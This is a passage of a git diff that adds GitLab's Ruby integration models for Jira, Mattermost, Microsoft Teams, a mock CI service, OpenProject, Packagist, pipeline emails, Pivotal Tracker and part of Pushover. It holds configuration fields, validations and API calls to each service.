+ include Gitlab::Routing
+ include ApplicationHelper
+ include ActionView::Helpers::AssetUrlHelper
+ include Gitlab::Utils::StrongMemoize
+
+ PROJECTS_PER_PAGE = 50
+ JIRA_CLOUD_HOST = '.atlassian.net'
+
+ ATLASSIAN_REFERRER_GITLAB_COM = { atlOrigin: 'eyJpIjoiY2QyZTJiZDRkNGZhNGZlMWI3NzRkNTBmZmVlNzNiZTkiLCJwIjoianN3LWdpdGxhYi1pbnQifQ' }.freeze
+ ATLASSIAN_REFERRER_SELF_MANAGED = { atlOrigin: 'eyJpIjoiYjM0MTA4MzUyYTYxNDVkY2IwMzVjOGQ3ZWQ3NzMwM2QiLCJwIjoianN3LWdpdGxhYlNNLWludCJ9' }.freeze
+
+ validates :url, public_url: true, presence: true, if: :activated?
+ validates :api_url, public_url: true, allow_blank: true
+ validates :username, presence: true, if: :activated?
+ validates :password, presence: true, if: :activated?
+
+ validates :jira_issue_transition_id,
+ format: { with: Gitlab::Regex.jira_transition_id_regex, message: s_("JiraService|IDs must be a list of numbers that can be split with , or ;") },
+ allow_blank: true
+
+ # Jira Cloud version is deprecating authentication via username and password.
+ # We should use username/password for Jira Server and email/api_token for Jira Cloud,
+ # for more information check: https://gitlab.com/gitlab-org/gitlab-foss/issues/49936.
+
+ # TODO: we can probably just delegate as part of
+ # https://gitlab.com/gitlab-org/gitlab/issues/29404
+ data_field :username, :password, :url, :api_url, :jira_issue_transition_automatic, :jira_issue_transition_id, :project_key, :issues_enabled,
+ :vulnerabilities_enabled, :vulnerabilities_issuetype
+
+ before_update :reset_password
+ after_commit :update_deployment_type, on: [:create, :update], if: :update_deployment_type?
+
+ enum comment_detail: {
+ standard: 1,
+ all_details: 2
+ }
+
+ # When these are false GitLab does not create cross reference
+ # comments on Jira except when an issue gets transitioned.
+ def self.supported_events
+ %w(commit merge_request)
+ end
+
+ def self.supported_event_actions
+ %w(comment)
+ end
+
+ # {PROJECT-KEY}-{NUMBER} Examples: JIRA-1, PROJECT-1
+ def self.reference_pattern(only_long: true)
+ @reference_pattern ||= /(?<issue>\b#{Gitlab::Regex.jira_issue_key_regex})/
+ end
+
+ def initialize_properties
+ {}
+ end
+
+ def data_fields
+ jira_tracker_data || self.build_jira_tracker_data
+ end
+
+ def reset_password
+ data_fields.password = nil if reset_password?
+ end
+
+ def set_default_data
+ return unless issues_tracker.present?
+
+ return if url
+
+ data_fields.url ||= issues_tracker['url']
+ data_fields.api_url ||= issues_tracker['api_url']
+ end
+
+ def options
+ url = URI.parse(client_url)
+
+ {
+ username: username&.strip,
+ password: password,
+ site: URI.join(url, '/').to_s.delete_suffix('/'), # Intended to find the root
+ context_path: (url.path.presence || '/').delete_suffix('/'),
+ auth_type: :basic,
+ read_timeout: 120,
+ use_cookies: true,
+ additional_cookies: ['OBBasicAuth=fromDialog'],
+ use_ssl: url.scheme == 'https'
+ }
+ end
+
+ def client
+ @client ||= begin
+ JIRA::Client.new(options).tap do |client|
+ # Replaces JIRA default http client with our implementation
+ client.request_client = Gitlab::Jira::HttpClient.new(client.options)
+ end
+ end
+ end
+
+ def help
+ jira_doc_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_url('integration/jira/index.html') }
+ s_("JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}.") % { jira_doc_link_start: jira_doc_link_start, link_end: '</a>'.html_safe }
+ end
+
+ def title
+ 'Jira'
+ end
+
+ def description
+ s_("JiraService|Use Jira as this project's issue tracker.")
+ end
+
+ def self.to_param
+ 'jira'
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'url',
+ title: s_('JiraService|Web URL'),
+ placeholder: 'https://jira.example.com',
+ help: s_('JiraService|Base URL of the Jira instance.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'api_url',
+ title: s_('JiraService|Jira API URL'),
+ help: s_('JiraService|If different from Web URL.')
+ },
+ {
+ type: 'text',
+ name: 'username',
+ title: s_('JiraService|Username or Email'),
+ help: s_('JiraService|Use a username for server version and an email for cloud version.'),
+ required: true
+ },
+ {
+ type: 'password',
+ name: 'password',
+ title: s_('JiraService|Password or API token'),
+ non_empty_password_title: s_('JiraService|Enter new password or API token'),
+ non_empty_password_help: s_('JiraService|Leave blank to use your current password or API token.'),
+ help: s_('JiraService|Use a password for server version and an API token for cloud version.'),
+ required: true
+ }
+ ]
+ end
+
+ def web_url(path = nil, **params)
+ return unless url.present?
+
+ if Gitlab.com?
+ params.merge!(ATLASSIAN_REFERRER_GITLAB_COM) unless Gitlab.staging?
+ else
+ params.merge!(ATLASSIAN_REFERRER_SELF_MANAGED) unless Gitlab.dev_or_test_env?
+ end
+
+ url = Addressable::URI.parse(self.url)
+ url.path = url.path.delete_suffix('/')
+ url.path << "/#{path.delete_prefix('/').delete_suffix('/')}" if path.present?
+ url.query_values = (url.query_values || {}).merge(params)
+ url.query_values = nil if url.query_values.empty?
+
+ url.to_s
+ end
+
+ override :project_url
+ def project_url
+ web_url
+ end
+
+ override :issues_url
+ def issues_url
+ web_url('browse/:id')
+ end
+
+ override :new_issue_url
+ def new_issue_url
+ web_url('secure/CreateIssue!default.jspa')
+ end
+
+ alias_method :original_url, :url
+ def url
+ original_url&.delete_suffix('/')
+ end
+
+ alias_method :original_api_url, :api_url
+ def api_url
+ original_api_url&.delete_suffix('/')
+ end
+
+ def execute(push)
+ # This method is a no-op, because currently Integrations::Jira does not
+ # support any events.
+ end
+
+ def find_issue(issue_key, rendered_fields: false, transitions: false)
+ expands = []
+ expands << 'renderedFields' if rendered_fields
+ expands << 'transitions' if transitions
+ options = { expand: expands.join(',') } if expands.any?
+
+ jira_request { client.Issue.find(issue_key, options || {}) }
+ end
+
+ def close_issue(entity, external_issue, current_user)
+ issue = find_issue(external_issue.iid, transitions: jira_issue_transition_automatic)
+
+ return if issue.nil? || has_resolution?(issue) || !issue_transition_enabled?
+
+ commit_id = case entity
+ when Commit then entity.id
+ when MergeRequest then entity.diff_head_sha
+ end
+
+ commit_url = build_entity_url(:commit, commit_id)
+
+ # Depending on the Jira project's workflow, a comment during transition
+ # may or may not be allowed. Refresh the issue after transition and check
+ # if it is closed, so we don't have one comment for every commit.
+ issue = find_issue(issue.key) if transition_issue(issue)
+ add_issue_solved_comment(issue, commit_id, commit_url) if has_resolution?(issue)
+ log_usage(:close_issue, current_user)
+ end
+
+ override :create_cross_reference_note
+ def create_cross_reference_note(mentioned, noteable, author)
+ unless can_cross_reference?(noteable)
+ return s_("JiraService|Events for %{noteable_model_name} are disabled.") % { noteable_model_name: noteable.model_name.plural.humanize(capitalize: false) }
+ end
+
+ jira_issue = find_issue(mentioned.id)
+
+ return unless jira_issue.present?
+
+ noteable_id = noteable.respond_to?(:iid) ? noteable.iid : noteable.id
+ noteable_type = noteable_name(noteable)
+ entity_url = build_entity_url(noteable_type, noteable_id)
+ entity_meta = build_entity_meta(noteable)
+
+ data = {
+ user: {
+ name: author.name,
+ url: resource_url(user_path(author))
+ },
+ project: {
+ name: project.full_path,
+ url: resource_url(project_path(project))
+ },
+ entity: {
+ id: entity_meta[:id],
+ name: noteable_type.humanize.downcase,
+ url: entity_url,
+ title: noteable.title,
+ description: entity_meta[:description],
+ branch: entity_meta[:branch]
+ }
+ }
+
+ add_comment(data, jira_issue).tap { log_usage(:cross_reference, author) }
+ end
+
+ def valid_connection?
+ test(nil)[:success]
+ end
+
+ def test(_)
+ result = server_info
+ success = result.present?
+ result = @error&.message unless success
+
+ { success: success, result: result }
+ end
+
+ override :support_close_issue?
+ def support_close_issue?
+ true
+ end
+
+ override :support_cross_reference?
+ def support_cross_reference?
+ true
+ end
+
+ def issue_transition_enabled?
+ jira_issue_transition_automatic || jira_issue_transition_id.present?
+ end
+
+ private
+
+ def server_info
+ strong_memoize(:server_info) do
+ client_url.present? ? jira_request { client.ServerInfo.all.attrs } : nil
+ end
+ end
+
+ def can_cross_reference?(noteable)
+ case noteable
+ when Commit then commit_events
+ when MergeRequest then merge_requests_events
+ else true
+ end
+ end
+
+ # jira_issue_transition_id can have multiple values split by , or ;
+ # the issue is transitioned at the order given by the user
+ # if any transition fails it will log the error message and stop the transition sequence
+ def transition_issue(issue)
+ return transition_issue_to_done(issue) if jira_issue_transition_automatic
+
+ jira_issue_transition_id.scan(Gitlab::Regex.jira_transition_id_regex).all? do |transition_id|
+ transition_issue_to_id(issue, transition_id)
+ end
+ end
+
+ def transition_issue_to_id(issue, transition_id)
+ issue.transitions.build.save!(
+ transition: { id: transition_id }
+ )
+
+ true
+ rescue StandardError => error
+ log_error(
+ "Issue transition failed",
+ error: {
+ exception_class: error.class.name,
+ exception_message: error.message,
+ exception_backtrace: Gitlab::BacktraceCleaner.clean_backtrace(error.backtrace)
+ },
+ client_url: client_url
+ )
+
+ false
+ end
+
+ def transition_issue_to_done(issue)
+ transitions = issue.transitions rescue []
+
+ transition = transitions.find do |transition|
+ status = transition&.to&.statusCategory
+ status && status['key'] == 'done'
+ end
+
+ return false unless transition
+
+ transition_issue_to_id(issue, transition.id)
+ end
+
+ def log_usage(action, user)
+ key = "i_ecosystem_jira_service_#{action}"
+
+ Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user.id)
+ end
+
+ def add_issue_solved_comment(issue, commit_id, commit_url)
+ link_title = "Solved by commit #{commit_id}."
+ comment = "Issue solved with [#{commit_id}|#{commit_url}]."
+ link_props = build_remote_link_props(url: commit_url, title: link_title, resolved: true)
+ send_message(issue, comment, link_props)
+ end
+
+ def add_comment(data, issue)
+ entity_name = data[:entity][:name]
+ entity_url = data[:entity][:url]
+ entity_title = data[:entity][:title]
+
+ message = comment_message(data)
+ link_title = "#{entity_name.capitalize} - #{entity_title}"
+ link_props = build_remote_link_props(url: entity_url, title: link_title)
+
+ unless comment_exists?(issue, message)
+ send_message(issue, message, link_props)
+ end
+ end
+
+ def comment_message(data)
+ user_link = build_jira_link(data[:user][:name], data[:user][:url])
+
+ entity = data[:entity]
+ entity_ref = all_details? ? "#{entity[:name]} #{entity[:id]}" : "a #{entity[:name]}"
+ entity_link = build_jira_link(entity_ref, entity[:url])
+
+ project_link = build_jira_link(project.full_name, Gitlab::Routing.url_helpers.project_url(project))
+ branch =
+ if entity[:branch].present?
+ s_('JiraService| on branch %{branch_link}') % {
+ branch_link: build_jira_link(entity[:branch], project_tree_url(project, entity[:branch]))
+ }
+ end
+
+ entity_message = entity[:description].presence if all_details?
+ entity_message ||= entity[:title].chomp
+
+ s_('JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}') % {
+ user_link: user_link,
+ entity_link: entity_link,
+ project_link: project_link,
+ branch: branch,
+ entity_message: entity_message
+ }
+ end
+
+ def build_jira_link(title, url)
+ "[#{title}|#{url}]"
+ end
+
+ def has_resolution?(issue)
+ issue.respond_to?(:resolution) && issue.resolution.present?
+ end
+
+ def comment_exists?(issue, message)
+ comments = jira_request { issue.comments }
+
+ comments.present? && comments.any? { |comment| comment.body.include?(message) }
+ end
+
+ def send_message(issue, message, remote_link_props)
+ return unless client_url.present?
+
+ jira_request do
+ remote_link = find_remote_link(issue, remote_link_props[:object][:url])
+
+ create_issue_comment(issue, message) unless remote_link
+ remote_link ||= issue.remotelink.build
+ remote_link.save!(remote_link_props)
+
+ log_info("Successfully posted", client_url: client_url)
+ "SUCCESS: Successfully posted to #{client_url}."
+ end
+ end
+
+ def create_issue_comment(issue, message)
+ return unless comment_on_event_enabled
+
+ issue.comments.build.save!(body: message)
+ end
+
+ def find_remote_link(issue, url)
+ links = jira_request { issue.remotelink.all }
+ return unless links
+
+ links.find { |link| link.object["url"] == url }
+ end
+
+ def build_remote_link_props(url:, title:, resolved: false)
+ status = {
+ resolved: resolved
+ }
+
+ {
+ GlobalID: 'GitLab',
+ relationship: 'mentioned on',
+ object: {
+ url: url,
+ title: title,
+ status: status,
+ icon: {
+ title: 'GitLab', url16x16: asset_url(Gitlab::Favicon.main, host: gitlab_config.base_url)
+ }
+ }
+ }
+ end
+
+ def resource_url(resource)
+ "#{Settings.gitlab.base_url.chomp("/")}#{resource}"
+ end
+
+ def build_entity_url(noteable_type, entity_id)
+ polymorphic_url(
+ [
+ self.project,
+ noteable_type.to_sym
+ ],
+ id: entity_id,
+ host: Settings.gitlab.base_url
+ )
+ end
+
+ def build_entity_meta(noteable)
+ if noteable.is_a?(Commit)
+ {
+ id: noteable.short_id,
+ description: noteable.safe_message,
+ branch: noteable.ref_names(project.repository).first
+ }
+ elsif noteable.is_a?(MergeRequest)
+ {
+ id: noteable.to_reference,
+ branch: noteable.source_branch
+ }
+ else
+ {}
+ end
+ end
+
+ def noteable_name(noteable)
+ name = noteable.model_name.singular
+
+ # ProjectSnippet inherits from Snippet class so it causes
+ # routing error building the URL.
+ name == "project_snippet" ? "snippet" : name
+ end
+
+ # Handle errors when doing Jira API calls
+ def jira_request
+ yield
+ rescue StandardError => error
+ @error = error
+ log_error("Error sending message", client_url: client_url, error: @error.message)
+ nil
+ end
+
+ def client_url
+ api_url.presence || url
+ end
+
+ def reset_password?
+ # don't reset the password if a new one is provided
+ return false if password_touched?
+ return true if api_url_changed?
+ return false if api_url.present?
+
+ url_changed?
+ end
+
+ def update_deployment_type?
+ (api_url_changed? || url_changed? || username_changed? || password_changed?) &&
+ can_test?
+ end
+
+ def update_deployment_type
+ clear_memoization(:server_info) # ensure we run the request when we try to update deployment type
+ results = server_info
+
+ unless results.present?
+ Gitlab::AppLogger.warn(message: "Jira API returned no ServerInfo, setting deployment_type from URL", server_info: results, url: client_url)
+
+ return set_deployment_type_from_url
+ end
+
+ if jira_cloud?
+ data_fields.deployment_cloud!
+ else
+ data_fields.deployment_server!
+ end
+ end
+
+ def jira_cloud?
+ server_info['deploymentType'] == 'Cloud' || URI(client_url).hostname.end_with?(JIRA_CLOUD_HOST)
+ end
+
+ def set_deployment_type_from_url
+ # This shouldn't happen but of course it will happen when an integration is removed.
+ # Instead of deleting the integration we set all fields to null
+ # and mark it as inactive
+ return data_fields.deployment_unknown! unless client_url
+
+ # If API-based detection methods fail here then
+ # we can only assume it's either Cloud or Server
+ # based on the URL being *.atlassian.net
+
+ if URI(client_url).hostname.end_with?(JIRA_CLOUD_HOST)
+ data_fields.deployment_cloud!
+ else
+ data_fields.deployment_server!
+ end
+ end
+
+ def self.event_description(event)
+ case event
+ when "merge_request", "merge_request_events"
+ s_("JiraService|Jira comments are created when an issue is referenced in a merge request.")
+ when "commit", "commit_events"
+ s_("JiraService|Jira comments are created when an issue is referenced in a commit.")
+ end
+ end
+ end
+end
+
+Integrations::Jira.prepend_mod_with('Integrations::Jira')
diff --git a/app/models/integrations/jira_tracker_data.rb b/app/models/integrations/jira_tracker_data.rb
new file mode 100644
index 00000000000..74352393b43
--- /dev/null
+++ b/app/models/integrations/jira_tracker_data.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module Integrations
+ class JiraTrackerData < ApplicationRecord
+ include BaseDataFields
+
+ attr_encrypted :url, encryption_options
+ attr_encrypted :api_url, encryption_options
+ attr_encrypted :username, encryption_options
+ attr_encrypted :password, encryption_options
+
+ enum deployment_type: { unknown: 0, server: 1, cloud: 2 }, _prefix: :deployment
+ end
+end
diff --git a/app/models/integrations/mattermost.rb b/app/models/integrations/mattermost.rb
new file mode 100644
index 00000000000..07a5086b8e9
--- /dev/null
+++ b/app/models/integrations/mattermost.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Mattermost < BaseChatNotification
+ include SlackMattermostNotifier
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ s_('Mattermost notifications')
+ end
+
+ def description
+ s_('Send notifications about project events to Mattermost channels.')
+ end
+
+ def self.to_param
+ 'mattermost'
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/mattermost'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to Mattermost channels. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def default_channel_placeholder
+ 'my-channel'
+ end
+
+ def webhook_placeholder
+ 'http://mattermost.example.com/hooks/'
+ end
+ end
+end
diff --git a/app/models/integrations/mattermost_slash_commands.rb b/app/models/integrations/mattermost_slash_commands.rb
new file mode 100644
index 00000000000..6cd664da9e7
--- /dev/null
+++ b/app/models/integrations/mattermost_slash_commands.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Integrations
+ class MattermostSlashCommands < BaseSlashCommands
+ include Ci::TriggersHelper
+
+ prop_accessor :token
+
+ def can_test?
+ false
+ end
+
+ def title
+ 'Mattermost slash commands'
+ end
+
+ def description
+ "Perform common tasks with slash commands."
+ end
+
+ def self.to_param
+ 'mattermost_slash_commands'
+ end
+
+ def configure(user, params)
+ token = ::Mattermost::Command.new(user)
+ .create(command(params))
+
+ update(active: true, token: token) if token
+ rescue ::Mattermost::Error => e
+ [false, e.message]
+ end
+
+ def list_teams(current_user)
+ [::Mattermost::Team.new(current_user).all, nil]
+ rescue ::Mattermost::Error => e
+ [[], e.message]
+ end
+
+ def chat_responder
+ ::Gitlab::Chat::Responder::Mattermost
+ end
+
+ private
+
+ def command(params)
+ pretty_project_name = project.full_name
+
+ params.merge(
+ auto_complete: true,
+ auto_complete_desc: "Perform common operations on: #{pretty_project_name}",
+ auto_complete_hint: '[help]',
+ description: "Perform common operations on: #{pretty_project_name}",
+ display_name: "GitLab / #{pretty_project_name}",
+ method: 'P',
+ username: 'GitLab')
+ end
+ end
+end
diff --git a/app/models/integrations/microsoft_teams.rb b/app/models/integrations/microsoft_teams.rb
new file mode 100644
index 00000000000..91e6800f03c
--- /dev/null
+++ b/app/models/integrations/microsoft_teams.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Integrations
+ class MicrosoftTeams < BaseChatNotification
+ def title
+ 'Microsoft Teams notifications'
+ end
+
+ def description
+ 'Send notifications about project events to Microsoft Teams.'
+ end
+
+ def self.to_param
+ 'microsoft_teams'
+ end
+
+ def help
+ '<p>Use this service to send notifications about events in GitLab projects to your Microsoft Teams channels. <a href="https://docs.gitlab.com/ee/user/project/integrations/microsoft_teams.html">How do I configure this integration?</a></p>'
+ end
+
+ def webhook_placeholder
+ 'https://outlook.office.com/webhook/…'
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines', help: 'If selected, successful pipelines do not trigger a notification event.' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ ::MicrosoftTeams::Notifier.new(webhook).ping(
+ title: message.project_name,
+ summary: message.summary,
+ activity: message.activity,
+ attachments: message.attachments
+ )
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/mock_ci.rb b/app/models/integrations/mock_ci.rb
new file mode 100644
index 00000000000..d31f6381767
--- /dev/null
+++ b/app/models/integrations/mock_ci.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+# For an example companion mocking service, see https://gitlab.com/gitlab-org/gitlab-mock-ci-service
+module Integrations
+ class MockCi < BaseCi
+ ALLOWED_STATES = %w[failed canceled running pending success success-with-warnings skipped not_found].freeze
+
+ prop_accessor :mock_service_url
+ validates :mock_service_url, presence: true, public_url: true, if: :activated?
+
+ def title
+ 'MockCI'
+ end
+
+ def description
+ 'Mock an external CI'
+ end
+
+ def self.to_param
+ 'mock_ci'
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'mock_service_url',
+ title: s_('ProjectService|Mock service URL'),
+ placeholder: 'http://localhost:4004',
+ required: true
+ }
+ ]
+ end
+
+ # Return complete url to build page
+ #
+ # Ex.
+ # http://jenkins.example.com:8888/job/test1/scm/bySHA1/12d65c
+ #
+ def build_page(sha, ref)
+ Gitlab::Utils.append_path(
+ mock_service_url,
+ "#{project.namespace.path}/#{project.path}/status/#{sha}")
+ end
+
+ # Return string with build status or :error symbol
+ #
+ # Allowed states: 'success', 'failed', 'running', 'pending', 'skipped'
+ #
+ # Ex.
+ # @service.commit_status('13be4ac', 'master')
+ # # => 'success'
+ #
+ # @service.commit_status('2abe4ac', 'dev')
+ # # => 'running'
+ #
+ def commit_status(sha, ref)
+ response = Gitlab::HTTP.get(commit_status_path(sha), verify: false)
+ read_commit_status(response)
+ rescue Errno::ECONNREFUSED
+ :error
+ end
+
+ def commit_status_path(sha)
+ Gitlab::Utils.append_path(
+ mock_service_url,
+ "#{project.namespace.path}/#{project.path}/status/#{sha}.json")
+ end
+
+ def read_commit_status(response)
+ return :error unless response.code == 200 || response.code == 404
+
+ status = if response.code == 404
+ 'pending'
+ else
+ response['status']
+ end
+
+ if status.present? && ALLOWED_STATES.include?(status)
+ status
+ else
+ :error
+ end
+ end
+
+ def can_test?
+ false
+ end
+ end
+end
diff --git a/app/models/integrations/open_project.rb b/app/models/integrations/open_project.rb
new file mode 100644
index 00000000000..e4cfb24151a
--- /dev/null
+++ b/app/models/integrations/open_project.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Integrations
+ class OpenProject < BaseIssueTracker
+ validates :url, public_url: true, presence: true, if: :activated?
+ validates :api_url, public_url: true, allow_blank: true, if: :activated?
+ validates :token, presence: true, if: :activated?
+ validates :project_identifier_code, presence: true, if: :activated?
+
+ data_field :url, :api_url, :token, :closed_status_id, :project_identifier_code
+
+ def data_fields
+ open_project_tracker_data || self.build_open_project_tracker_data
+ end
+
+ def self.to_param
+ 'open_project'
+ end
+ end
+end
diff --git a/app/models/integrations/open_project_tracker_data.rb b/app/models/integrations/open_project_tracker_data.rb
new file mode 100644
index 00000000000..b3f2618b94f
--- /dev/null
+++ b/app/models/integrations/open_project_tracker_data.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Integrations
+ class OpenProjectTrackerData < ApplicationRecord
+ include BaseDataFields
+
+ # When the Open Project is fresh installed, the default closed status id is "13" based on current version: v8.
+ DEFAULT_CLOSED_STATUS_ID = "13"
+
+ attr_encrypted :url, encryption_options
+ attr_encrypted :api_url, encryption_options
+ attr_encrypted :token, encryption_options
+
+ def closed_status_id
+ super || DEFAULT_CLOSED_STATUS_ID
+ end
+ end
+end
diff --git a/app/models/integrations/packagist.rb b/app/models/integrations/packagist.rb
new file mode 100644
index 00000000000..b597bd11175
--- /dev/null
+++ b/app/models/integrations/packagist.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Packagist < Integration
+ prop_accessor :username, :token, :server
+
+ validates :username, presence: true, if: :activated?
+ validates :token, presence: true, if: :activated?
+
+ default_value_for :push_events, true
+ default_value_for :tag_push_events, true
+
+ after_save :compose_service_hook, if: :activated?
+
+ def title
+ 'Packagist'
+ end
+
+ def description
+ s_('Integrations|Update your Packagist projects.')
+ end
+
+ def self.to_param
+ 'packagist'
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'username', placeholder: '', required: true },
+ { type: 'text', name: 'token', placeholder: '', required: true },
+ { type: 'text', name: 'server', placeholder: 'https://packagist.org', required: false }
+ ]
+ end
+
+ def self.supported_events
+ %w(push merge_request tag_push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ service_hook.execute(data)
+ end
+
+ def test(data)
+ begin
+ result = execute(data)
+ return { success: false, result: result[:message] } if result[:http_status] != 202
+ rescue StandardError => error
+ return { success: false, result: error }
+ end
+
+ { success: true, result: result[:message] }
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.url = hook_url
+ hook.save
+ end
+
+ def hook_url
+ base_url = server.presence || 'https://packagist.org'
+ "#{base_url}/api/update-package?username=#{username}&apiToken=#{token}"
+ end
+ end
+end
diff --git a/app/models/integrations/pipelines_email.rb b/app/models/integrations/pipelines_email.rb
new file mode 100644
index 00000000000..585bc14242a
--- /dev/null
+++ b/app/models/integrations/pipelines_email.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+module Integrations
+ class PipelinesEmail < Integration
+ include NotificationBranchSelection
+
+ prop_accessor :recipients, :branches_to_be_notified
+ boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
+ validates :recipients, presence: true, if: :validate_recipients?
+
+ def initialize_properties
+ if properties.nil?
+ self.properties = {}
+ self.notify_only_broken_pipelines = true
+ self.branches_to_be_notified = "default"
+ elsif !self.notify_only_default_branch.nil?
+ # In older versions, there was only a boolean property named
+ # `notify_only_default_branch`. Now we have a string property named
+ # `branches_to_be_notified`. Instead of doing a background migration, we
+ # opted to set a value for the new property based on the old one, if
+ # users hasn't specified one already. When users edit the service and
+ # selects a value for this new property, it will override everything.
+
+ self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
+ end
+ end
+
+ def title
+ _('Pipeline status emails')
+ end
+
+ def description
+ _('Email the pipeline status to a list of recipients.')
+ end
+
+ def self.to_param
+ 'pipelines_email'
+ end
+
+ def self.supported_events
+ %w[pipeline]
+ end
+
+ def self.default_test_event
+ 'pipeline'
+ end
+
+ def execute(data, force: false)
+ return unless supported_events.include?(data[:object_kind])
+ return unless force || should_pipeline_be_notified?(data)
+
+ all_recipients = retrieve_recipients(data)
+
+ return unless all_recipients.any?
+
+ pipeline_id = data[:object_attributes][:id]
+ PipelineNotificationWorker.new.perform(pipeline_id, recipients: all_recipients)
+ end
+
+ def can_test?
+ project&.ci_pipelines&.any?
+ end
+
+ def fields
+ [
+ { type: 'textarea',
+ name: 'recipients',
+ help: _('Comma-separated list of email addresses.'),
+ required: true },
+ { type: 'checkbox',
+ name: 'notify_only_broken_pipelines' },
+ { type: 'select',
+ name: 'branches_to_be_notified',
+ choices: branch_choices }
+ ]
+ end
+
+ def test(data)
+ result = execute(data, force: true)
+
+ { success: true, result: result }
+ rescue StandardError => error
+ { success: false, result: error }
+ end
+
+ def should_pipeline_be_notified?(data)
+ notify_for_branch?(data) && notify_for_pipeline?(data)
+ end
+
+ def notify_for_pipeline?(data)
+ case data[:object_attributes][:status]
+ when 'success'
+ !notify_only_broken_pipelines?
+ when 'failed'
+ true
+ else
+ false
+ end
+ end
+
+ def retrieve_recipients(data)
+ recipients.to_s.split(/[,\r\n ]+/).reject(&:empty?)
+ end
+ end
+end
diff --git a/app/models/integrations/pivotaltracker.rb b/app/models/integrations/pivotaltracker.rb
new file mode 100644
index 00000000000..46f97cc3c6b
--- /dev/null
+++ b/app/models/integrations/pivotaltracker.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Pivotaltracker < Integration
+ API_ENDPOINT = 'https://www.pivotaltracker.com/services/v5/source_commits'
+
+ prop_accessor :token, :restrict_to_branch
+ validates :token, presence: true, if: :activated?
+
+ def title
+ 'PivotalTracker'
+ end
+
+ def description
+ s_('PivotalTrackerService|Add commit messages as comments to PivotalTracker stories.')
+ end
+
+ def self.to_param
+ 'pivotaltracker'
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'token',
+ placeholder: s_('PivotalTrackerService|Pivotal Tracker API token.'),
+ required: true
+ },
+ {
+ type: 'text',
+ name: 'restrict_to_branch',
+ placeholder: s_('PivotalTrackerService|Comma-separated list of branches which will be ' \
+ 'automatically inspected. Leave blank to include all branches.')
+ }
+ ]
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+ return unless allowed_branch?(data[:ref])
+
+ data[:commits].each do |commit|
+ message = {
+ 'source_commit' => {
+ 'commit_id' => commit[:id],
+ 'author' => commit[:author][:name],
+ 'url' => commit[:url],
+ 'message' => commit[:message]
+ }
+ }
+ Gitlab::HTTP.post(
+ API_ENDPOINT,
+ body: message.to_json,
+ headers: {
+ 'Content-Type' => 'application/json',
+ 'X-TrackerToken' => token
+ }
+ )
+ end
+ end
+
+ private
+
+ def allowed_branch?(ref)
+ return true unless ref.present? && restrict_to_branch.present?
+
+ branch = Gitlab::Git.ref_name(ref)
+ allowed_branches = restrict_to_branch.split(',').map(&:strip)
+
+ branch.present? && allowed_branches.include?(branch)
+ end
+ end
+end
diff --git a/app/models/integrations/pushover.rb b/app/models/integrations/pushover.rb
new file mode 100644
index 00000000000..b0cadc7ef4e
--- /dev/null
+++ b/app/models/integrations/pushover.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Pushover < Integration
+ BASE_URI = 'https://api.pushover.net/1'
+
+ prop_accessor :api_key, :user_key, :device, :priority, :sound
+ validates :api_key, :user_key, :priority, presence: true, if: :activated?
+
+ def title
+ 'Pushover'
+ end
+
+ def description
+ s_('PushoverService|Get real-time notifications on your device.')
+ end
+
+ def self.to_param
+ 'pushover'
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'api_key', title: _('API key'), placeholder: s_('PushoverService|Your application key'), required: true },
+ { type: 'text', name: 'user_key', placeholder: s_('PushoverService|Your user key'), required: true },
+ { type: 'text', name: 'device', placeholder: s_('PushoverService|Leave blank for all active devices') },
+ { type: 'select', name: 'priority', required: true, choices:
+ [
+ [s_('PushoverService|Lowest Priority'), -2],
+ [s_('PushoverService|Low Priority'), -1],
+ [s_('PushoverService|Normal Priority'), 0],
+ [s_('PushoverService|High Priority'), 1]
+ ],
+ default_choice: 0 },
+ { type: 'select', name: 'sound', choices:
+ [
+ ['Device default sound', nil],
